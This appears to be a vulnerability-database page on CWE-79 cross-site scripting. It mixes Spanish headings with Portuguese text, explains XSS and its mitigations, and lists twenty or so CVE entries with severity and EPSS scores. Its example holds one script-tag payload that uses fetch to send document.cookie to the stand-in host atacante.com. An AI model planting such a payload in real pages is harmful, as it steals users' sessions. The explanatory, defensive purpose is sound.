Fallos del tipo CWE-79

28.612 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-1094HIGHMonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application via CSTI in the `people:id/food`EPSS 1.2%CVE-2022-0879—Caldera Forms < 1.9.7 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2019-11281LOWRabbitMQ XSS attackEPSS 1.2%CVE-2021-24878—SupportCandy < 2.2.7 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2025-41420CRITICALA cross-site scripting (xss) vulnerability exists in the userLogin cancelUri parameter functionality of WWBN AVideo 14.4 and dev master commEPSS 1.2%CVE-2023-5546MEDIUMMoodle: stored xss in quiz grading report via user id numberEPSS 1.2%CVE-2024-21911MEDIUMCross-site scripting vulnerability in TinyMCEEPSS 1.2%CVE-2023-25727MEDIUMIn phpMyAdmin before 4.9.11 and 5.x before 5.2.1, an authenticated user can trigger XSS by uploading a crafted .sql file through the drag-anEPSS 1.2%CVE-2021-4231LOWAngular Comment cross site scriptingEPSS 1.2%CVE-2022-46907—Apache JSPWiki: XSS Injection points in several pluginsEPSS 1.2%CVE-2023-28158MEDIUMApache Archiva privilege escalationEPSS 1.2%CVE-2022-24918LOWReflected XSS in item configuration window of Zabbix FrontendEPSS 1.2%CVE-2022-2362—Download Manager < 3.2.50 - Bypass IP Address Blocking RestrictionEPSS 1.2%CVE-2025-62613MEDIUMVDO.Ninja Reflected XSS Vulnerability in control.htmlEPSS 1.2%CVE-2016-8639MEDIUMIt was found that foreman before 1.13.0 is vulnerable to a stored XSS via an organization or location name. This could allow an attacker witEPSS 1.2%CVE-2020-3581MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.2%CVE-2020-3582MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.2%CVE-2024-21396HIGHDynamics 365 Sales Spoofing VulnerabilityEPSS 1.2%CVE-2024-21393HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.2%CVE-2022-1567MEDIUMWP JS <= 2.0.6 - Reflected Cross-Site ScriptingEPSS 1.2%